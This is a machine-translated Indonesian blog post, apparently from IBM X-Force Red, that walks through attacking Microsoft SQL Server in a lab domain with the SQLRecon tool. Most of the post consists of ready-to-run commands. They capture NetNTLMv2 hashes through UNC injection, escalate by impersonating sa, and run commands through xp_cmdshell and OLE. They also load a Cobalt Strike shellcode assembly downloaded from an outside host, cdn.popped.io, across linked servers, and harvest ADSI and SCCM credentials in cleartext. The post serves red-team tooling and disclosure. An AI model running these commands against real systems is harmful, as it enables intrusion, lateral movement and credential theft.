Waspadalah, basis data: Menyalahgunakan Microsoft SQL Server dengan SQLRecon.

Selama karier saya, saya memiliki kesempatan istimewa untuk mengintip di balik tabir beberapa organisasi terbesar di dunia. Dalam pengalaman saya, sebagian besar vertikal industri bergantung pada jaringan Windows perusahaan. Sebenarnya, hanya segelintir kesempatan di mana saya menjumpai implementasi jaringan zero-trust terdesentralisasi, lingkungan enterprise berbasis Linux, jaringan macOS, atau solusi pengganti Active Directory (FreeIPA).

Saat saya menavigasi jaringan perusahaan yang besar dan sering kali kompleks ini, adalah hal yang umum untuk menemukan Microsoft SQL Server, yang biasanya diterapkan untuk mendukung suatu fungsi bisnis. Bagi pembaca yang tidak terbiasa dengan SQL Server, singkatnya, ini adalah perangkat lunak basis data relasional yang biasanya dipasang di atas Windows Server. Tujuan utama SQL Server adalah menyimpan dan menyediakan data bagi aplikasi atau pengguna.

Postingan blog ini akan ulasan permukaan serangan yang disajikan oleh SQL Server, dan cara menyalahgunakan kesalahan konfigurasi dan kerentanan menggunakan alat X-Force Red SQLRecon . Selain itu, pertimbangan defensif akan diuraikan jika berlaku.

Kerentanan dan kesalahan konfigurasi di SQL Server telah didokumentasikan dengan baik. Sementara kelemahan ini tampaknya selalu ada, entah bagaimana pengerasan SQL Server terus sering diabaikan oleh tim defensif. Kebanyakan saya mengacu pada pengerasan konfigurasi yang mendasari dan mencegah akses sepele ke layanan.

Salah satu alasan yang masuk akal atas kelalaian ini adalah bahwa ada risiko yang lebih besar yang perlu diprioritaskan dan ditangani oleh organisasi. Akibatnya, penguatan Microsoft SQL Server sering terabaikan, karena mengutak-atik konfigurasi basis data produksi dapat menimbulkan masalah ketersediaan, yang kemudian dapat berkembang menjadi gangguan operasional dan pada akhirnya memengaruhi produktivitas bisnis.

Salah satu salah konfigurasi yang paling sering saya lihat di jaringan enterprise adalah bahwa objek domain apa pun yang terautentikasi dapat terhubung ke layanan SQL menggunakan akun berhak istimewa rendah. Ini hanya membutuhkan konteks domain yang valid. Dengan kata lain, token yang valid untuk pengguna domain atau akun komputer domain.

Untuk mengilustrasikan contoh, jika workstation pengguna bisnis biasa dikompromikan dan rute jaringan ada ke SQL Server yang salah konfigurasi, ada kemungkinan bagi musuh untuk:

• Jalankan perintah SQL terbatas pada SQL Server jarak jauh.
• Tentukan hak istimewa yang mereka miliki, yang dapat memberikan peluang eskalasi melalui serangan gaya peniruan.
• Menginstruksikan autentikasi SQL Server untuk memberikan materi autentikasi melalui permintaan yang diarahkan ke jalur UNC (Universal Naming Convention) dapat menghasilkan kredensial yang ter-hash. Kredensial tersebut kemudian dapat di-crack atau digunakan untuk melakukan serangan relay.
• Piggyback hak yang diberikan ke SQL Server yang terhubung ke Server SQL lainnya, yang dapat mengakibatkan peningkatan hak istimewa.

Ini hanyalah beberapa contoh dari apa yang dapat dilakukan adversary ketika menilai SQL Server yang salah dikonfigurasi dalam konteks domain. Permukaan serangan yang disajikan oleh SQL Server akan selalu bergantung pada lingkungan dan konfigurasi yang Anda hadapi.

Dalam beberapa waktu terakhir, para operator red team benar-benar dimanjakan oleh beragam penyalahgunaan Active Directory yang dapat dimanfaatkan untuk meningkatkan hak istimewa dalam jaringan enterprise Microsoft. Namun, ketika tim pertahanan mulai mampu mengendalikan dan mengurangi kelemahan-kelemahan ini, jalur untuk melakukan eskalasi hak istimewa melalui penyalahgunaan Active Directory secara alami mulai berkurang.

Meski begitu, kami tetap maju dan menelusuri daftar serangan yang sudah menjadi pepatah itu, dengan optimisme mencari jalur eskalasi yang dapat membantu kami mencapai objektif kami. Saya agak enggan mengakui bahwa untuk waktu yang cukup lama, menyerang Microsoft SQL Server berada cukup jauh di daftar prioritas saya. Saya justru memilih untuk memprioritaskan hal-hal seperti ruang penyimpanan bersama, aplikasi web internal, perkakas DevOps, atau infrastruktur cloud. Anda mungkin sudah bisa melihat ke mana arah pembahasan saya...

Pada suatu saat di tahun 2022, saya sedang dalam sebuah pertunangan dan telah mencapai titik buntu setelah mencoba semua jalur eskalasi yang ada. Ini sebagian besar disebabkan oleh lingkungan yang sangat keras. Setidaknya, itulah yang saya pikirkan sebelum saya menemukan peternakan SQL Server besar, di mana harus ada kesalahan konfigurasi atau kerentanan.

Tanpa sepengetahuan saya pada saat itu, dan hanya setelah menulis postingan blog ini, saya menemukan bahwa Kaspersky menemukan bahwa serangan berulang menggunakan SQL Server telah meningkat sebesar 56% pada tahun 2022. Itu adalah jumlah yang mengejutkan.

Sebagai operator red team, saya sering berinteraksi dengan sistem yang telah saya kompromikan di jaringan klien menggunakan kerangka kerja command and control (C2). Klien-klien yang beruntung dapat kami layani biasanya memiliki program keamanan siber yang matang, tim pertahanan yang mumpuni, serta kontrol keamanan modern seperti solusi endpoint detection and response (EDR).

Ada beberapa alat yang dikembangkan selama bertahun-tahun untuk menyerang SQL Server. Yang selalu saya gunakan selama hari-hari pengujian pena saya adalah PowerUpSQL . Ini adalah proyek yang dibuat oleh Scott Sutherland (@_nullbind), dikembangkan sebagian besar di PowerShell.

Solusi EDR bisa menjadi lawan yang tangguh karena mereka sangat efektif dalam mendeteksi peralatan sumber terbuka berbahaya yang dirancang untuk keamanan ofensif, khususnya yang bergantung pada PowerShell. Bukan meremehkan alat post-exploit PowerShell, alat ini ada gunanya, tetapi tidak cocok untuk masalah yang saya hadapi.

Masalah yang saya hadapi dalam engagement saya adalah bahwa saya perlu menemukan cara untuk terhubung ke Microsoft SQL Server dan mulai memeriksanya untuk menentukan apakah ada salah konfigurasi atau kerentanan. Namun, menggunakan salah satu dari alat post-exploitation Microsoft SQL Server yang ada, yang bergantung pada PowerShell, akan menjadi cara pasti untuk tertangkap oleh tim pertahanan. Hal ini disebabkan oleh berbagai alasan yang tidak akan saya bahas secara detail, tetapi PowerShell bukanlah wadah yang ideal untuk melakukan serangan pasca-eksploitasi karena fitur keamanan seperti AMSI, mode bahasa terbatas, dan berbagai gaya pencatatan. Hal ini semakin diperburuk ketika solusi EDR serta kontrol pencatatan dan monitoring lainnya diterapkan.

Sebagai alternatif, operator red team sering memilih C# sebagai bahasa untuk mengembangkan alat pasca-eksploitasi dengan, karena menyediakan cara mudah untuk berinteraksi dengan kerangka kerja .NET bersama dengan API Windows.

Saya sama sekali bukan pengembang C# atau.NET, tetapi saya tahu cukup untuk menulis alat yang memecahkan masalah yang saya hadapi. Antre SQLRecon , toolkit C# SQL yang dirancang untuk pengintaian ofensif dan pasca-eksploitasi.

SQLRecon  membantu mengatasi kesenjangan alat eksploitasi dengan memodernisasi pendekatan yang dapat diambil operator red team saat menyerang SQL Server. Alat ini dirancang untuk menjadi modular, memungkinkan kemudahan ekstensibilitas. SQLRecon  kompatibel berdiri sendiri atau dalam rangkaian kerangka kerja C2 yang beragam. Saat menggunakan yang terakhir, SQLRecon  dapat dieksekusi dalam proses atau melalui fork and run tradisional.

SQLRecon  memiliki lebih dari 80 modul untuk dipilih. Di bawah ini adalah ikhtisar tingkat tinggi dari beberapa fitur yang disediakan oleh SQLRecon :

Penyedia Autentikasi

• Akun SQL database lokal
• Autentikasi domain Windows berdasarkan token saat ini
• Autentikasi domain Windows dengan kredenSIAL yang disediakan pengguna
• Autentikasi domain Azure
• Autentikasi lokal Azure

Modul Enumerasi

• Temukan SQL Server yang terkait dengan Service Principal Name (SPN)
• Mendapatkan informasi tentang layanan SQL
• Menentukan hak istimewa dalam SQL Server
• Daftar basis data, tabel, kolom, dan pengguna
• Cari konten di basis data
• Menjalankan kueri arbitrer
• Menghitung pengguna yang dapat ditiru
• Identifikasi SQL Server tertaut

Eksekusi Perintah, Gerakan Lateral, dan Eskalasi Hak

• xp_cmdshell
• Prosedur Otomatisasi OLE
• Muat dan jalankan rakitan.NET CLR kustom
• Lowongan SQL Agent
• Pengumpulan kredensial ADSI

Keamanan Operasional

• Validasi autentikasi berkelanjutan
• Pencatatan baris perintah yang ekstensif
• Eksekusi pagar pembatas berdasarkan apakah opsi SQL Server diaktifkan atau dinonaktifkan
• Penanganan kesalahan argumen
• Pembuatan konten SQL alfanumerik acak jika berlaku
• Pembersihan otomatis data yang dibuat di SQL Server untuk tujuan eksekusi perintah

Lainnya

• Kemampuan untuk mengganti konteks basis data
• Hubungkan ke SQL Server yang mendengarkan port TCP non-standar
• Dukungan untuk serangan gaya peniruan identitas
• Kemampuan untuk menghitung dan menyerang SQL Server yang ditautkan
• Dukungan untuk berbagai serangan SQL database Microsoft Systems Center Configuration Manager (SCCM) dan Microsoft titik akhir Configuration Manager (ECM)
• Semua SQL Query menggunakan System.Data.SqlClient  namespace, dikembangkan oleh Microsoft

Untuk informasi penggunaan yang mendetail mengenai masing-masing teknik, silakan merujuk ke wiki.

Untuk menyiapkan panggung untuk demonstrasi yang akan datang, saya akan mengoperasikan workstation Windows 10 yang dikompromikan milik Jeff Smith(JSmith) di dalam kawalabs.local  jaringan perusahaan.

Workstation Jeff memiliki rute jaringan ke tiga SQL Server, yang masing-masing menjalankan versi yang berbeda; 2016, 2019, dan 2022.

 Tautan SQL telah dikonfigurasi antara SQL01  dan SQL02 , dan tautan SQL lain telah dikonfigurasi antara SQL02  dan SQL03 . Untuk pembaca yang tidak terbiasa dengan SQL Server tertaut, ini secara efektif memungkinkan satu instance SQL untuk mengeksekusi pernyataan SQL pada instance SQL lain. Sebagai contoh, SQL01  dapat mengeksekusi pernyataan SQL pada SQL02, dan SQL02  dapat mengeksekusi pernyataan pada SQL03, tetapi SQL01 tidak dapat mengeksekusi pernyataan pada SQL03  dan sebaliknya. Di lingkungan perusahaan yang sesungguhnya, SQL Server yang tertaut adalah pemandangan yang lazim.

Selain itu, terdapat tautan Active Directory (ADSI) antara SQL03  dan pengontrol domain utama di kawalabs.local  domain, DC01 . Tautan ADSI menyediakan SQL Server dengan cara untuk berinteraksi dengan objek Active Directory.

Terakhir, kawalabs.local  domain telah terhubung ke domain Azure Active Directory, kawalabs.onmicrosoft.com  menggunakan Azure AD Connect. Solusi ini memungkinkan pengguna Active Directory lokal di kawalabs.local  untuk mengakses sumber daya di cloud Azure.   kawalabs.onmicrosoft.com  Penyewaan Azure AD berisi SQL Server yang menyimpan data pembayaran, ECOM01 .

Gambar 1: Konfigurasi jaringan

Selain itu, saya akan memanfaatkan Cobalt Strike, yang merupakan kerangka kerja komando dan kontrol yang populer, untuk melakukan tugas pasca-eksploitasi dari stasiun kerja Jeff yang disusupi(DESKTOP-LF8Q3C6) . Pada tangkapan layar berikut, saya telah mengeksekusi whoami  perintah. Ini hanya untuk menunjukkan bahwa Jeff bukan pengguna istimewa dan memiliki hak dasar di dalam kawalabs.local  domain dan jaringan yang lebih luas.

Gambar 2: Mengeluarkan perintah whoami 

Pada saat penulisan,SQLRecon memiliki dua modul enumerasi yang dapat digunakan untuk menemukan Microsoft SQL Server di dalam sebuah jaringan, serta memperoleh beberapa informasi mengenai sebuah instance SQL Server. Perintah berikut akan menghitung Active Directory Service Principal Names (SPNs) dan mengidentifikasi apakah ada SPN yang ditetapkan untuk SQL Server. Di dalam kawalabs.local domain, ada set SPN untuk beberapa akun yang berbeda, ini ditunjukkan pada tangkapan layar di bawah ini.

SQLRecon.exe /e:SqlSpns /d:kawalabs.local

Gambar 3: Menemukan SQL Server melalui koleksi SPN

Metode info  modul cukup berguna untuk mendapatkan informasi tambahan tentang server. Contoh di bawah ini menunjukkan jenis informasi yang diambil dari SQL Server.

SQLRecon.exe /a:WinToken /h:SQL02 /m:info

Gambar 4: Memperoleh informasi tentang SQL02

Terima kasih kepada Daniel Duggan(@_RastaMouse) atas kontribusinya pada modul enumerasi di SQLRecon .

Modul Standar dieksekusi terhadap satu instance SQL Server.

Dalam contoh berikut, saya menggunakan AzureAD  penyedia otentikasi, yang menggunakan nama pengguna dan kata sandi untuk akun Azure Active Directory untuk diautentikasi ECOM01 , instance SQL yang terletak di cloud Azure. Saya kemudian menggunakan whoami  modul untuk menentukan hak istimewa yang dimiliki Jeff ECOM01 .

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami

Gambar 5: Menghitung hak istimewa SQL untuk jsmith@kawalabs.onmicrosoft.com

Secara default, SQLRecon  akan terhubung ke master  basis data, karena basis data ini biasanya ada pada semua instance SQL Server. Namun, Anda dapat dengan mudah mencantumkan semua basis data yang berbeda pada instance SQL Server dengan menggunakan databases  modul.

SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases

Gambar 6: Menghitung basis data pada ECOM01

Anda dapat terhubung ke basis data lain dengan menentukan nama basis data dengan /database : tandai dan teruskan modul apa pun yang ingin Anda jalankan. Dalam contoh di bawah ini, saya terhubung ke Payments  basis data pada ECOM01  dan jalankan query SQL yang akan mendapatkan semua konten dari cc  meja.

SQLRecon.exe /a:azuRead /d:kawalabs.onmicrosoft.com /Database:Payments /u:jsmith/P: xxxx /h:ecom01.database.windows.net /m:query /c: " pilih * dari cc; "

Gambar 7: Memperoleh data kartu dummy dari cc  meja di Payments  basis data pada ECOM01

Pindah ke beberapa modul yang lebih menarik, SQLRecon  mendukung injeksi jalur UNC, yang dapat dilakukan oleh akun pengguna hak istimewa rendah, seperti KAWALABS\JSmith Hal ini dapat mengakibatkan mendapatkan kredensial yang di-hash, yang pada gilirannya dapat dipecahkan atau diteruskan ke depan untuk melakukan serangan gaya relaying. Dalam contoh berikut, saya menggunakan WinToken  penyedia autentikasi, yang menggunakan token untuk KAWALABS\JSmith  akun pengguna, untuk mengautentikasi terhadap SQL02 , server lokal.

SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects

Gambar 8: Injeksi jalur UNC

Pada tangkapan layar berikut, kita dapat melihat koneksi yang dibuat oleh SQL02  ke host dalam kendali kami (172.16.10.19). Ini menghasilkan hash NetNTLMv2 untuk KAWALABS\mssql_svc  akun domain.

Gambar 9: Mendapatkan hash NetNTLMv2 untuk KAWALABS\mssql_svc

SQLRecon  memiliki berbagai modul eksekusi perintah yang dapat digunakan untuk mengeksekusi perintah arbitrer pada sistem yang mendasarinya. Ini sangat berguna jika Anda ingin melakukan eskalasi hak istimewa dan/atau gerakan lateral. Pagar pembatas signifikan telah diterapkan di seluruh SQLRecon untuk memastikan bahwa keamanan operasional diaktifkan secara default. Dua pagar pembatas utama adalah:

• Validasi autentikasi berkelanjutan, di mana SQLRecon  akan memvalidasi bahwa dimungkinkan untuk mengautentikasi terhadap domain, atau SQL Server sebelum menjalankan modul apa pun.
• Pagar pembatas eksekusi, di mana SQLRecon  akan memvalidasi bahwa kondisi optimal ada sebelum menjalankan modul apa pun yang memuat objek, membuat objek, atau menjalankan perintah.

xp_cmdshell  telah lama menjadi salah satu metode yang paling umum di mana perintah dapat dieksekusi pada server yang mendasarinya melalui basis data SQL. Dalam contoh berikut, saya menggunakan hak istimewa rendah KAWALABS\JSmith  akun untuk mencoba meluncurkan notepad.exe  aplikasi pada SQL01 .

SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe

Gambar 10: Demonstrasi pagar pembatas mencegah eksekusi perintah terjadi

Seperti yang terlihat pada gambar di atas, pagar pembatas eksekusi ditemui, dan pesan kesalahan diterima yang menunjukkan bahwa xp_cmdshell  dinonaktifkan. Ini biasanya konfigurasi default pada sebagian besar versi SQL Server. Hal yang menyenangkan adalah, SQLRecon  memiliki enableXp  modul, yang akan memungkinkan xp_cmdshell  konfigurasi. SqlRecon juga memiliki disableXp  modul sehingga Anda dapat kembali ke status aman asli setelah menjalankan perintah Anda dengan xpCmd .

SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp

Gambar 11: Demonstrasi pagar pembatas lain, di mana hak istimewa yang tidak memadai mencegah eksekusi perintah terjadi

Seperti yang diharapkan, hak istimewa yang rendah KAWALABS\JSmith  akun menghadapi pagar pembatas eksekusi dan menerima pesan bahwa mereka tidak memiliki hak istimewa yang diperlukan untuk mengaktifkan atau menonaktifkan xp_cmdshell  …atau apakah mereka?

Peniruan SQL adalah izin khusus yang pada dasarnya memungkinkan pengguna atau grup untuk beroperasi dengan izin pengguna lain, serta dengan izin mereka sendiri. Tangkapan layar berikut diambil dari konfigurasi backend SQL02  dan menunjukkan bahwa BUILTIN\Users  dapat menyamar sebagai sa  akun.

Gambar 12: BUILTIN\Users  dapat menyamar sebagai sa  akun pada SQL02

SQLRecon  memiliki impersonate  modul untuk membantu menentukan apakah akun pengguna dapat menyamar sebagai pengguna lain.

SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate

Seperti yang terlihat pada tangkapan layar di bawah ini, KAWALABS\JSmith  akun pengguna hak istimewa rendah dapat menyamar sebagai sa  akun pada SQL02 . Ini menunjukkan kemampuan untuk mengeksekusi perintah pada instance SQL dengan hak istimewa seperti admin. Selanjutnya, ini artinya bahwa kita sekarang dapat menjalankan perintah sistem pada server yang mendasarinya.

Gambar 13: Menghitung akun yang dapat ditiru pada SQL02

Untuk mendemonstrasikan modul eksekusi perintah lain, SQLRecon  dapat mengeksekusi perintah pada pengguna yang mendasarinya menggunakan Prosedur Otomatisasi OLE. Prosedur ini menggunakan odsole70.dll  perakitan untuk berinteraksi dengan objek COM sehingga wscript.shell  dapat dimanfaatkan untuk menjalankan perintah sistem arbitrer.

Modul peniruan selalu diawali dengan huruf i , dan modul-modul ini akan membutuhkan nama akun yang akan ditiru. Dalam contoh berikut, saya terhubung ke SQL02  sebagai hak istimewa yang rendah KAWALABS\JSmith  akun dan meniru akun sa  akun untuk mengaktifkan OLE Otomatisasi Prosedur pada SQL02 .

a:WinToken /h:SQL02 /i:sa /m:iEnableOle

Gambar 14: Mengaktifkan Prosedur Otomatisasi OLE menggunakan peniruan

Sekarang Prosedur Otomatisasi OLE diaktifkan SQL02 , saya berada dalam posisi untuk menjalankan perintah arbitrer apa pun pada server yang mendasarinya dalam konteks akun pengguna yang telah memulai proses SQL Server. Dalam contoh berikut, saya menjalankan proses anak PowerShell yang mencantumkan direktori dari share yang sama yang sebelumnya digunakan untuk menangkap kredensial NetNTLMv2. Perlu diingat, ini sebagian besar untuk tujuan demonstrasi dan biasanya bukan tindakan yang akan dilakukan pada keterlibatan simulasi musuh.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"

Gambar 15: Menggunakan PowerShell untuk membuat daftar direktori pada host jarak jauh

Seperti terlihat pada tangkapan layar di atas, sebuah objek dan metode OLE acak dibuat, perintah berbahaya kemudian dijalankan, dan objek-objek OLE tersebut dihancurkan. Ini disengaja karena kita tidak ingin meninggalkan bukti tindakan kita.

Pada tangkapan layar berikut, kita dapat melihat koneksi yang dibuat oleh KAWALABS\mssql_svc  akun pengguna via SQL02  ke host dalam kendali kami (172.16.10.19). Ini menghasilkan hash NetNTLMv2 untuk KAWALABS \mssql_svc  akun komputer.

Gambar 16: Mendapatkan hash NetNTLMv2 untuk KAWALABS\mssql_svc

Contoh berikut menunjukkan penggunaan peniruan untuk mengeksekusi tasklist  perintah menggunakan xp_cmdshell  pada SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist

Gambar 17: Mengaktifkan xp_cmdshell  dan menjalankan perintah sistem menggunakan peniruan SQL02

Selalu merupakan praktik yang baik untuk mengembalikan konfigurasi ke keadaan semula.

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle

SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp

Gambar 18: Menonaktifkan Prosedur Otomasi dan xp_cmdshell  pada SQL02

SQLRecon  juga dapat melakukan serangan terhadap instance SQL Server yang ditautkan. Tangkapan layar berikut diambil dari konfigurasi backend SQL02  dan menunjukkan bahwa SQL02  memiliki tautan ke SQL03 . Dari pengalaman saya, ini adalah konfigurasi umum di jaringan perusahaan besar.

Gambar 19: SQL02  memiliki tautan SQL ke SQL03

Mengonfigurasi tautan dari satu instance SQL Server ke yang lain sering membutuhkan satu set kredensial istimewa untuk membuat dan mengikat tautan. Ini bermanfaat bagi musuh karena memungkinkan perintah dieksekusi pada SQL Server yang ditautkan dalam konteks akun yang telah membuat koneksi. Hal lain yang perlu dipertimbangkan adalah bahwa server tertaut dapat tersegmentasi dari jaringan tempat musuh beroperasi. Kondisi ini dapat menghadirkan peluang untuk melintasi batas segmentasi dan memasuki zona jaringan dengan persyaratan keamanan yang lebih tinggi.

SQLRecon  memiliki links  modul untuk menentukan apakah SQL Server memiliki instance SQL yang ditautkan.

SQLRecon.exe /a:WinToken /h:SQL02 /m:links

Gambar 20: Menghitung SQL Server tertaut pada SQL02

Modul yang terhubung selalu diawali dengan huruf l , dan modul-modul ini akan membutuhkan nama server tertaut yang ingin Anda berikan perintah untuk melawannya. Dalam contoh berikut, saya terhubung ke SQL02  sebagai hak istimewa yang rendah KAWALABS\JSmith  akun dan menerbitkan lWhoami  perintah terhadap yang terhubung SQL03  instance.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami

Gambar 21: Menghitung hak istimewa SQL yang dapat kita asumsikan SQL03  melalui SQL02

Seperti yang terlihat pada tangkapan layar di atas, kami beroperasi dalam konteks sa  akun pada SQL03 . Ini karena akun sa digunakan untuk membuat tautan SQL dari SQL02  ke SQL03 .

Semua modul eksekusi di SQLRecon  didukung penuh pada SQL Server yang ditautkan. Dalam contoh berikut ini, saya mengaktifkan Integrasi Common Language waktu proses (CLR) pada SQL02 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr

Gambar 22: Mengaktifkan integrasi CLR pada SQL02

Integrasi CLR memungkinkan rakitan kustom .NET untuk diimpor ke SQL Server. Rakitan ini disimpan di dalam stored procedure sebelum dieksekusi. Ini adalah serangan gerakan lateral yang bagus primitif.

Pada tangkapan layar berikut, saya membuat perakitan.NET yang kompatibel dengan SQL Server CLR khusus yang disebut hollow.dll . Ini akan menyimpan muatan Cobalt Strike ke dalam prosedur tersimpan bernama ExecuteShellcode . Payload melakukan proses dasar pelubangan dan menyuntikkan kode shell Cobalt Strike ke dalam Internet Explorer yang baru saja dijalankan(iexplore.exe) PowerShell.

Gambar 23: hollow.dll , rakitan.NET yang kompatibel dengan SQL Server CLR

Jika Anda tertarik untuk mempelajari lebih lanjut tentang rakitan .NET yang kompatibel dengan SQL Server CLR, silakan kunjungi bagian Clr dari SQLRecon  wiki. Sebuah contoh dari hollow.dll  dapat ditemukan di sini.

Dalam demonstrasi berikut, saya telah mengunggah hollow.dll  ke server web dan mengganti nama perakitan menjadi favicon.png . Saya menginstruksikan yang tertaut SQL03  server untuk mengunduh favicon.png  dari server web dan melakukan langkah-langkah yang diperlukan untuk mengimpor perakitan kustom ke dalam prosedur tersimpan SQL Server dan menjalankan payload. Ini hasil dalam mendapatkan suar Cobalt Strike dalam konteks KAWALABS\mssql_svc  pengguna aktif SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode

Gambar 24: Memperoleh suar Cobalt Strike dalam konteks KAWALABS\mssql_svc  pada SQL03

Tentu saja, contoh sebelumnya mengharuskan SQL03  memiliki akses Internet agar materi dapat diunduh dari server web yang dapat diakses publik. Ada kasus di mana mengunduh sumber daya asing dari server web yang menghadap publik tidak mungkin atau diinginkan. Seperti itu, SQLRecon  memungkinkan rakitan khusus dimuat langsung dari sistem file host yang disusupi, atau dari share SMB. Dalam demonstrasi berikut, saya telah mengunggah hollow.dll  ke server SMB lokal dan mengganti nama perakitan menjadi Reports.xlsx . Saya menginstruksikan yang tertaut SQL03  server untuk mengunduh Reports.xlsx  dari server SMB dan melakukan langkah-langkah yang diperlukan untuk mengimpor perakitan kustom ke dalam prosedur tersimpan SQL Server dan menjalankan payload. Ini hasil dalam mendapatkan suar Cobalt Strike dalam konteks KAWALABS\mssql_svc  pengguna aktif SQL03 .

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode

Gambar 25: Memperoleh beacon Cobalt Strike dalam konteks

 KAWALABS\mssql_svc<code> on <code>SQL03

SQLRecon  juga dapat melakukan serangan terhadap instance Active Directory Service Interfaces (ADSI) yang tertaut untuk memperoleh kredensial cleartext akun domain. Untuk informasi tambahan tentang ADSI tradecraft, silakan lihat postingan blog Tarlogic. Tangkapan layar berikut diambil dari konfigurasi backend SQL03  dan menunjukkan bahwa SQL03  memiliki tautan ADSI ke pengontrol domain utama di kawalabs.local  domain, DC01 . Tautan ADSI ini diwakili oleh linkADSI  objek.

Gambar 26: SQL03  memiliki tautan ADSI ke DC01

Mengonfigurasi tautan ADSI dari sebuah instance Microsoft SQL Server ke Active Directory Domain Services tidak selalu memerlukan kredensial berhak istimewa. Namun, selama operasi dunia nyata, saya telah melihat kasus di mana prinsip hak istimewa paling sedikit belum diterapkan.

Dalam contoh berikut, saya menggunakan lLinks  modul untuk pertama kali terhubung ke SQL02 , dan kemudian query SQL03  untuk SQL Server tertaut tambahan. Anda dapat menganggap ini sebagai skenario tautan ganda.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks

Gambar 27: Menghitung tautan pada SQL03  dari SQL02

Sekarang kami telah memverifikasi bahwa tautan ADSI ada di SQL03 , kita dapat memanfaatkan lAdsi  modul untuk mendapatkan kredensial domain cleartext yang digunakan untuk mengonfigurasi koneksi ADSI dari SQL03  ke DC01 . Ini melibatkan pengunggahan rakitan CLR khusus yang berisi server LDAP ke dalam rutinitas waktu proses SQL Server baru di SQL03 . Server LDAP kemudian akan mengeksekusi dan mendengarkan koneksi lokal saja pada port yang disediakan pengguna, dalam hal ini 49103. Kami kemudian memanfaatkan pekerjaan agen SQL Server di SQL03 untuk mengarahkan kredensial yang digunakan untuk mengonfigurasi koneksi ADSI untuk meminta permintaan LDAP ke server LDAP lokal pada port 49103. Pengalihan autentikasi LDAP sementara inilah yang pada akhirnya menghasilkan kredensial domain cleartext. Perlu dicatat bahwa modul Adsi dan iAdsi tidak menggunakan pekerjaan agen SQL Server untuk memulai proses permintaan LDAP, sebagai gantinya, SQL Query standar digunakan.

SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103

Gambar 28: Serangan pengumpulan kredensial ADSI tautan ganda

Salah satu ekstensi terbesar untuk SQLRecon  berasal dari kolega saya Dave Cossa (@G0ldenGunSec), yang telah memperkenalkan berbagai modul yang dapat dimanfaatkan untuk menyalahgunakan Microsoft Systems Center Configuration Manager (SCCM) dan Microsoft Endpoint Configuration Manager (ECM). Modul SCCM dikembangkan berdasarkan sebuah interaksi dunia nyata, di mana penyalahgunaan basis data SCCM SQL Server membantu kami melanjutkan kemajuan menuju tujuan. Dalam banyak kasus, untuk berinteraksi dengan basis data SCCM, konteks hak istimewa yang lebih tinggi perlu diperoleh, atau akses ke server SCCM harus didapatkan terlebih dahulu. Dalam contoh di bawah ini, saya memiliki beacon Cobalt Strike yang berjalan dalam konteks KAWALABS\mssccm_svc  akun di server ECM, MECM01 .

Saya hanya akan merujuk ke ECM dan SCCM sebagai SCCM mulai saat ini dan seterusnya.

Dalam contoh berikut, saya menggunakan modul basis data untuk menghitungdatabases yang ada di instance SQL Server pada MECM01 .

SQLRecon.exe /a:WinToken /h:MECM01 /m:databases

Gambar 29: Menghitung basis data pada MECM01

Seperti yang terlihat pada tangkapan layar di atas, CM_KAW  basis data ada, yang kemungkinan besar basis data dikonfigurasi untuk SCCM di server ini.

Modul SCCM selalu diawali dengan huruf s , dan modul-modul ini akan memerlukan nama basis data SCCM yang ingin Anda keluarkan perintah. Dalam contoh berikut, saya terhubung ke CM_KAW  basis data pada MECM01  sebagai KAWALABS\mssccm_svc  akun dan menerbitkan sUsers  perintah. Modul ini menyebutkan semua prinsipal yang dikonfigurasi untuk masuk ke server SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Gambar 30: Menghitung semua pengguna yang dapat masuk ke SCCM melalui basis data SCCM SQL Server

Hal ini juga memungkinkan untuk menghitung tugas yang telah dikonfigurasi di SCCM dengan menggunakan sTaskList  modul.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

Gambar 31: Menghitung tugas yang dikonfigurasi di SCCM melalui basis data SCCM SQL Server

SCCM biasanya perlu menyimpan kredensial, yang digunakan untuk mengautentikasi ke sistem atau sumber daya di lingkungan untuk menerapkan paket perangkat lunak atau melakukan salah satu dari berbagai tindakan lain yang disediakan oleh SCCM. Menggunakan sCredentials  modul, kita dapat memperoleh daftar kredensial yang telah dikunci.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

Gambar 32: Memperoleh kredensial berkubah melalui basis data SCCM SQL Server

Di tangkapan layar di atas, kita dapat melihat bahwa satu kredensial telah disimpan, dan ini adalah kredensial untuk KAWALABS\mssccm_svc  akun.

Dengan menggunakan logika milik Adam Chester (@_xpn_) , memungkinkan untuk mendekripsi kredensial SCCM yang disimpan dan memperoleh kata sandi jernih dari akun-akun tersebut. Ini memang memerlukan hak administrator lokal pada server SCCM. Dalam tangkapan layar berikut, saya menggunakan sDecryptCredentials  akun untuk mendekripsi kredensial yang berkubah untuk KAWALABS\mssccm_svc  akun.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

Gambar 33: Mendekripsi kredensial SCCM dalam vault

